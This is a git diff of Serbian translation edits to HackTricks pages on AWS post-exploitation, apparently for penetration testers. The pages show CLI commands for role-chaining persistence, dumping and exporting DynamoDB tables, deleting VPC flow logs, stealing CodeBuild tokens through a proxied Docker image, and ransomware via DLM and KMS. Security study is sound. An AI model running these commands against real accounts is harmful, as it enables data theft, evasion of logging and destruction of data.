+[**Role chaining je priznata AWS funkcija**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često korišćena za održavanje stealth postojanosti. Uključuje sposobnost da **preuzmete ulogu koja zatim preuzima drugu**, potencijalno se vraćajući na početnu ulogu na **cikličan način**. Svaki put kada se preuzme uloga, polje isteka kredencijala se osvežava. Kao rezultat, ako su dve uloge konfigurisane da međusobno preuzimaju jedna drugu, ova postavka omogućava večnu obnovu kredencijala.
-Možete koristiti ovaj [**alat**](https://github.com/hotnops/AWSRoleJuggler/) da nastavite sa lancima uloga:
+Možete koristiti ovaj [**alat**](https://github.com/hotnops/AWSRoleJuggler/) da nastavite sa prebacivanjem uloga:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 9c9301504..dd962f6cb 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -13,13 +13,13 @@ Za više informacija pogledajte:
### Pristup neizloženim API-ima
Možete kreirati endpoint na [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) sa servisom `com.amazonaws.us-east-1.execute-api`, izložiti endpoint u mreži kojoj imate pristup (potencijalno putem EC2 mašine) i dodeliti sigurnosnu grupu koja omogućava sve veze.\
-Zatim, sa EC2 mašine moći ćete da pristupite endpoint-u i tako pozovete gateway API koji nije bio izložen ranije.
+Zatim, sa EC2 mašine moći ćete da pristupite endpoint-u i tako pozovete gateway API koji prethodno nije bio izložen.
### Obilaženje Request body passthrough
Ova tehnika je pronađena u [**ovom CTF izveštaju**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
-Kao što je navedeno u [**AWS dokumentaciji**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, podrazumevano, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** header-a zahteva, će proslediti zahtev ka back end-u bez transformacije.
+Kao što je navedeno u [**AWS dokumentaciji**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, podrazumevano, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** header-a zahteva, će proslediti zahtev na backend bez transformacije.
Stoga, u CTF-u je API Gateway imao integracioni šablon koji je **sprečavao da se zastavica exfiltrira** u odgovoru kada je zahtev poslat sa `Content-Type: application/json`:
```yaml
@@ -36,7 +36,7 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers
U sekciji **Enumeration** možete videti kako da **dobijete plan korišćenja** ključeva. Ako imate ključ i on je **ograničen** na X korišćenja **mesečno**, možete **samo da ga koristite i izazovete DoS**.
-**API Key** samo treba da bude **uključen** unutar **HTTP header-a** pod nazivom **`x-api-key`**.
+**API Key** samo treba da bude **uključen** unutar **HTTP header-a** nazvanog **`x-api-key`**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
@@ -51,9 +51,9 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
+**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup API resursima.
-> [!NOTE]
+> [!NAPOMENA]
> Potrebno testiranje
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
@@ -91,7 +91,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup API resursima.
-> [!NOTE]
+> [!NAPOMENA]
> Potrebno testiranje
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
@@ -108,12 +108,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potencijalni uticaj**: Slabljenje bezbednosti API-ja, što potencijalno omogućava neovlašćen pristup ili izlaganje osetljivih informacija.
-> [!NOTE]
+> [!NAPOMENA]
> Potrebno testiranje
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, i `apigateway:CreateUsagePlanKey` može **kreirati nove API ključeve, povezati ih sa planovima korišćenja, a zatim koristiti ove ključeve za neovlašćen pristup API-jevima**.
+Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` i `apigateway:CreateUsagePlanKey` može **kreirati nove API ključeve, povezati ih sa planovima korišćenja, a zatim koristiti ove ključeve za neovlašćen pristup API-jima**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 70720bc76..788baa123 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -12,7 +12,7 @@ Za više informacija pogledajte:
### Man-in-the-Middle
-Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili izmeniti ako se već koristi) u **komunikaciji kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je sesijski **kolačić**) i **modifikacije** **odgovora** (ubacivanje malicioznog JS skripta).
+Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili modifikovati ako se već koristi) u **komunikaciji kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je sesijski **kolačić**) i **modifikacije** **odgovora** (ubacivanje malicioznog JS skripta).
#### scenario 1: MitM gde je CloudFront konfigurisana da pristupa nekom HTML-u iz bucket-a
@@ -24,8 +24,8 @@ Pristupajući odgovoru, mogli biste ukrasti korisnički kolačić i ubaciti mali
#### scenario 2: MitM gde CloudFront već koristi lambda funkciju
-- **Izmenite kod** lambda funkcije da biste ukrali osetljive informacije.
+- **Modifikujte kod** lambda funkcije da biste ukrali osetljive informacije.
-Možete proveriti [**tf kod za rekreaciju ovih scenarija ovde**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+Možete proveriti [**tf kod za rekreiranje ovih scenarija ovde**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 027b52772..8060e8cf3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -12,7 +12,7 @@ Za više informacija, proverite:
### Proverite Tajne
-Ako su kredencijali postavljeni u Codebuild za povezivanje sa Github, Gitlab ili Bitbucket u obliku ličnih tokena, lozinki ili OAuth token pristupa, ovi **kredencijali će biti sačuvani kao tajne u menadžeru tajni**.\
+Ako su kredencijali postavljeni u Codebuild za povezivanje sa Github, Gitlab ili Bitbucket u obliku ličnih tokena, lozinki ili OAuth token pristupa, ove **kredencijale će biti sačuvane kao tajne u menadžeru tajni**.\
Stoga, ako imate pristup za čitanje menadžera tajni, moći ćete da dobijete ove tajne i pređete na povezanu platformu.
{{#ref}}
@@ -35,12 +35,12 @@ Da bi to uradio, napadač bi samo trebao da **promeni URL repozitorijuma na svak
I **promeni Buildspec komande da eksfiltrira svaki repozitorijum**.
> [!WARNING]
-> Međutim, ova **aktivnost je repetitivna i dosadna** i ako je github token konfiguran sa **dozvolama za pisanje**, napadač **neće moći da (zloupotrebi) te dozvole** jer nema pristup tokenu.\
+> Međutim, ovaj **zadatak je ponavljajući i zamoran** i ako je github token konfiguran sa **dozvolama za pisanje**, napadač **neće moći da (zloupotrebi) te dozvole** jer nema pristup tokenu.\
> Ili možda ima? Proverite sledeću sekciju
-### Otkivanje Pristupnih Tokena iz AWS CodeBuild
+### Otkriće Pristupnih Tokena iz AWS CodeBuild
-Možete otkriti pristup dat u CodeBuild platformama poput Github-a. Proverite da li je bilo datog pristupa spoljnim platformama sa:
+Možete otkriti pristup dat u CodeBuild platformama kao što je Github. Proverite da li je bilo datog pristupa spoljnim platformama sa:
```bash
aws codebuild list-source-credentials
```
@@ -58,7 +58,7 @@ aws codebuild delete-project --name
### `codebuild:TagResource` , `codebuild:UntagResource`
-Napadač bi mogao da doda, izmeni ili ukloni oznake sa CodeBuild resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
+Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa CodeBuild resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 8bc0b994b..2df90e5d7 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -8,9 +8,9 @@ Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje
```bash
aws codebuild list-source-credentials
```
-### Via Docker Image
+### Putem Docker slike
-Ako otkrijete da je autentifikacija, na primer, za Github postavljena na nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta.
+Ako otkrijete da je autentifikacija na primer za Github postavljena u nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta.
U tu svrhu možete **napraviti novi Codebuild projekat** ili promeniti **okruženje** postojećeg da postavite **Docker sliku**.
@@ -20,7 +20,7 @@ Docker slika koju možete koristiti je [https://github.com/carlospolop/docker-mi
- Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i **izgradite docker sliku**.
- **NE POSTAVLJAJTE `http_proxy`** da ne biste presreli zahteve ka metadata endpoint-u.
- Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da postavite proxy na vaš host.
-- Kada izgradite Docker sliku, **otpremite je na javni repo** (Dockerhub, ECR...)
+- Kada izgradite Docker sliku, **otpremite je na javni repozitorijum** (Dockerhub, ECR...)
2. **Postavite okruženje**
- Kreirajte **novi Codebuild projekat** ili **izmenite** okruženje postojećeg.
- Postavite projekat da koristi **prethodno generisanu Docker sliku**.
@@ -73,7 +73,7 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
-**Codebuild** projekti imaju podešavanje pod nazivom **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\
+**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\
Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma.
- Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput:
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index 1cb69af3d..da515be0d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -1,8 +1,8 @@
-# AWS - Control Tower Post Exploitation
+# AWS - Kontrolna Kula Post Eksploatacija
{{#include ../../../banners/hacktricks-training.md}}
-## Control Tower
+## Kontrolna Kula
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
@@ -10,7 +10,7 @@
### Omogućite / Onemogućite Kontrole
-Da biste dodatno iskoristili nalog, možda ćete morati da onemogućite/omogućite kontrole Control Tower-a:
+Da biste dodatno iskoristili nalog, možda ćete morati da onemogućite/omogućite kontrole Kontrolne Kule:
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index 6666f4aa8..96b70ad10 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Menadžer životnog ciklusa podataka (DLM)
+## Data Lifecycle Manger (DLM)
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-Napad ransomware-a može se izvršiti šifrovanjem što je moguće više EBS volumena, a zatim brisanjem trenutnih EC2 instanci, EBS volumena i snimaka. Da bi se automatizovala ova zla aktivnost, može se koristiti Amazon DLM, šifrujući snimke sa KMS ključem iz drugog AWS naloga i prebacujući šifrovane snimke na drugi nalog. Alternativno, mogu prebaciti snimke bez šifrovanja na nalog koji upravljaju, a zatim ih tamo šifrovati. Iako nije jednostavno direktno šifrovati postojeće EBS volumene ili snimke, to je moguće učiniti kreiranjem novog volumena ili snimka.
+Napad ransomware-a može se izvršiti šifrovanjem što više EBS volumena kao što je moguće, a zatim brisanjem trenutnih EC2 instanci, EBS volumena i snimaka. Da bi se automatizovala ova zla aktivnost, može se koristiti Amazon DLM, šifrujući snimke sa KMS ključem iz drugog AWS naloga i prebacujući šifrovane snimke na drugi nalog. Alternativno, mogu prebaciti snimke bez šifrovanja na nalog koji upravljaju, a zatim ih tamo šifrovati. Iako nije jednostavno direktno šifrovati postojeće EBS volumene ili snimke, to je moguće učiniti kreiranjem novog volumena ili snimka.
Prvo, koristiće se komanda za prikupljanje informacija o volumenima, kao što su ID instance, ID volumena, status šifrovanja, status povezivanja i tip volumena.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index e0a9916f3..f11173502 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -4,7 +4,7 @@
## DynamoDB
-Za više informacija pogledajte:
+Za više informacija proverite:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
@@ -43,7 +43,7 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
-**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u tabeli
+**Potencijalni uticaj:** Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli
### `dynamodb:GetItem`
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
}
}
```
-Sa ovom dozvolom je takođe moguće koristiti metodu **`transact-get-items`** kao:
+Sa ovom dozvolom takođe je moguće koristiti metodu **`transact-get-items`** kao:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
### `dynamodb:Query`
-**Slično prethodnim dozvolama** ova omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti. Omogućava korišćenje [podskupa poređenja](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje koje je dozvoljeno sa primarnim ključem (koje mora biti prisutno) je "EQ", tako da ne možete koristiti poređenje da dobijete celu DB u jednom zahtevu.
+**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti. Omogućava korišćenje [podskupa poređenja](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje koje je dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da dobijete celu DB u jednom zahtevu.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,15 +107,15 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
-**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u tabeli
+**Potencijalni uticaj:** Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli
### `dynamodb:Scan`
-Možete koristiti ovu dozvolu da **lako izbacite celu tabelu**.
+Možete koristiti ovu dozvolu da **lako izvučete celu tabelu**.
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u tabeli
+**Potencijalni uticaj:** Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli
### `dynamodb:PartiQLSelect`
@@ -129,13 +129,13 @@ Ova dozvola takođe omogućava izvršavanje `batch-execute-statement` kao:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
-ali morate da navedete primarni ključ sa vrednošću, tako da nije toliko korisno.
+ali morate da navedete primarni ključ sa vrednošću, tako da to nije previše korisno.
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u tabeli
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-Ova dozvola će omogućiti napadaču da **izveze celu tabelu u S3 kantu** po njegovom izboru:
+Ova dozvola će omogućiti napadaču da **izveze celu tabelu u S3 bucket** po svom izboru:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:::table/TargetTable \
@@ -159,18 +159,18 @@ aws dynamodb update-continuous-backups \
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-Sa ovim dozvolama, napadač bi mogao da **napravi novu tabelu iz rezervne kopije** (ili čak da napravi rezervnu kopiju koju bi zatim obnovio u drugoj tabeli). Zatim, sa potrebnim dozvolama, mogao bi da proveri **informacije** iz rezervnih kopija koje **više ne bi mogle biti u produkcijskoj** tabeli.
+Sa ovim dozvolama, napadač bi mogao da **napravi novu tabelu iz rezervne kopije** (ili čak da napravi rezervnu kopiju koju bi zatim mogao da vrati u drugu tabelu). Zatim, sa potrebnim dozvolama, mogao bi da proveri **informacije** iz rezervnih kopija koje **više ne bi mogle biti u produkcijskoj** tabeli.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn \
--target-table-name \
--region
```
-**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u rezervnoj kopiji tabele
+**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u rezervnoj kopiji tabele
### `dynamodb:PutItem`
-Ova dozvola omogućava korisnicima da dodaju **novi predmet u tabelu ili zamene postojeći predmet** novim predmetom. Ako predmet sa istim primarnim ključem već postoji, **ceo predmet će biti zamenjen** novim predmetom. Ako primarni ključ ne postoji, novi predmet sa navedenim primarnim ključem će biti **kreiran**.
+Ova dozvola omogućava korisnicima da dodaju **novi predmet u tabelu ili zamene postojeći predmet** novim predmetom. Ako predmet sa istim primarnim ključem već postoji, **ceo predmet će biti zamenjen** novim predmetom. Ako primarni ključ ne postoji, novi predmet sa specificiranim primarnim ključem će biti **kreiran**.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -192,7 +192,7 @@ aws dynamodb put-item --table --item file://add.json
```
{{#endtab }}
-{{#tab name="AI Primer" }}
+{{#tab name="AI Example" }}
```bash
aws dynamodb put-item \
--table-name ExampleTable \
@@ -230,7 +230,7 @@ aws dynamodb update-item --table \
```
{{#endtab }}
-{{#tab name="AI Primer" }}
+{{#tab name="AI Example" }}
```bash
aws dynamodb update-item \
--table-name ExampleTable \
@@ -242,7 +242,7 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
-**Potencijalni uticaj:** Iskorišćavanje daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikacije podataka u DynamoDB tabeli
+**Potencijalni uticaj:** Eksploatacija daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikovanja podataka u DynamoDB tabeli
### `dynamodb:DeleteTable`
@@ -256,7 +256,7 @@ aws dynamodb delete-table \
### `dynamodb:DeleteBackup`
-Napadač sa ovom dozvolom može **obrisati DynamoDB rezervnu kopiju, potencijalno uzrokujući gubitak podataka u slučaju scenarija oporavka od katastrofe**.
+Napadač sa ovom dozvolom može **obrisati DynamoDB rezervnu kopiju, što može izazvati gubitak podataka u slučaju scenarija oporavka od katastrofe**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
@@ -266,19 +266,19 @@ aws dynamodb delete-backup \
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
-> [!NOTE]
+> [!NAPOMENA]
> TODO: Testirati da li ovo zapravo funkcioniše
-Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da započne strimovanje promena, a zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu**. Ovo omogućava napadaču da prati i exfiltrira promene podataka, što može dovesti do curenja podataka.
+Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da započne strimovanje promena, a zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu**. Ovo omogućava napadaču da prati i eksfiltrira promene podataka, što može dovesti do curenja podataka.
-1. Omogućiti stream na DynamoDB tabeli:
+1. Omogućite stream na DynamoDB tabeli:
```bash
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region
```
-2. Opišite tok za dobijanje ARN-a i drugih detalja:
+2. Opisati tok za dobijanje ARN-a i drugih detalja:
```bash
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 403df4570..a2b69a2a6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -4,7 +4,7 @@
## EC2 & VPC
-Za više informacija pogledajte:
+Za više informacija proverite:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,10 +12,10 @@ Za više informacija pogledajte:
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
-VPC traffic mirroring **duplira ulazni i izlazni saobraćaj za EC2 instance unutar VPC** bez potrebe za instaliranjem bilo čega na samim instancama. Ovaj duplirani saobraćaj bi obično bio poslat nečemu poput sistema za detekciju mrežnih upada (IDS) radi analize i nadgledanja.\
+VPC traffic mirroring **duplira dolazni i odlazni saobraćaj za EC2 instance unutar VPC** bez potrebe za instaliranjem bilo čega na samim instancama. Ovaj duplirani saobraćaj bi obično bio poslat nečemu poput sistema za detekciju mrežnih upada (IDS) na analizu i praćenje.\
Napadač bi mogao da iskoristi ovo da uhvati sav saobraćaj i dobije osetljive informacije iz njega:
-Za više informacija pogledajte ovu stranicu:
+Za više informacija proverite ovu stranicu:
{{#ref}}
aws-malicious-vpc-mirror.md
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### Copy Running Instance
-Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Međutim, drugi način da se proveri šta sadrži je da se **napravi AMI i pokrene nova instanca (čak i na vašem vlastitom nalogu) iz nje**:
+Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Međutim, drugi način da se proveri šta sadrži je da se **napravi AMI i pokrene nova instanca (čak i u vašem vlastitom nalogu) iz nje**:
```shell
# List instances
aws ec2 describe-images
@@ -49,7 +49,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
-**Snapshot-i su rezervne kopije volumena**, koje obično sadrže **osetljive informacije**, stoga njihovo proveravanje treba da otkrije ove informacije.\
+**Snapshot-i su backup-i volumena**, koji obično sadrže **osetljive informacije**, stoga njihovo proveravanje treba da otkrije te informacije.\
Ako pronađete **volumen bez snapshot-a**, možete: **Kreirati snapshot** i izvršiti sledeće radnje ili jednostavno **montirati ga u instancu** unutar naloga:
{{#ref}}
@@ -70,7 +70,7 @@ aws-ebs-snapshot-dump.md
#### Exfiltration via API calls
-Napadač bi mogao da pozove API krajnje tačke naloga koji kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrirane podatke u Cloudtrail logovima.
+Napadač može pozvati API krajnje tačke naloga koji kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrirane podatke u Cloudtrail logovima.
### Open Security Group
@@ -85,7 +85,7 @@ Moguće je pokrenuti EC2 instancu i registrovati je za korišćenje u pokretanju
Za [**više informacija proverite ovo**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
-### Ukloni VPC tok logove
+### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids --region
```
@@ -95,7 +95,7 @@ Required permissions:
- `ssm:StartSession`
-Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja što se može zloupotrebiti za preusmeravanje sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija gde je ovo korisno je preusmeravanje sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS klaster.
+Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja što se može iskoristiti za preusmeravanje sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija gde je ovo korisno je preusmeravanje sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS klaster.
> Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -104,7 +104,7 @@ Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja što se može
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
-3. Dobijte privremene akreditive za Bastion EC2 AWS pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skripte
+3. Dobijte privremene akreditive Bastion EC2 AWS pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skripte
4. Prenesite akreditive na svoju mašinu u `$HOME/.aws/credentials` datoteci kao `[bastion-ec2]` profil
5. Prijavite se na EKS kao Bastion EC2:
```shell
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
```
### EBS Ransomware PoC
-Dokaz koncepta sličan demonstraciji Ransomware prikazanoj u beleškama o post-ekspolataciji S3. KMS bi trebalo preimenovati u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga.
+Dokaz koncepta sličan demonstraciji Ransomware-a prikazanoj u beleškama o post-ekspolataciji S3. KMS bi trebao biti preimenovan u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga.
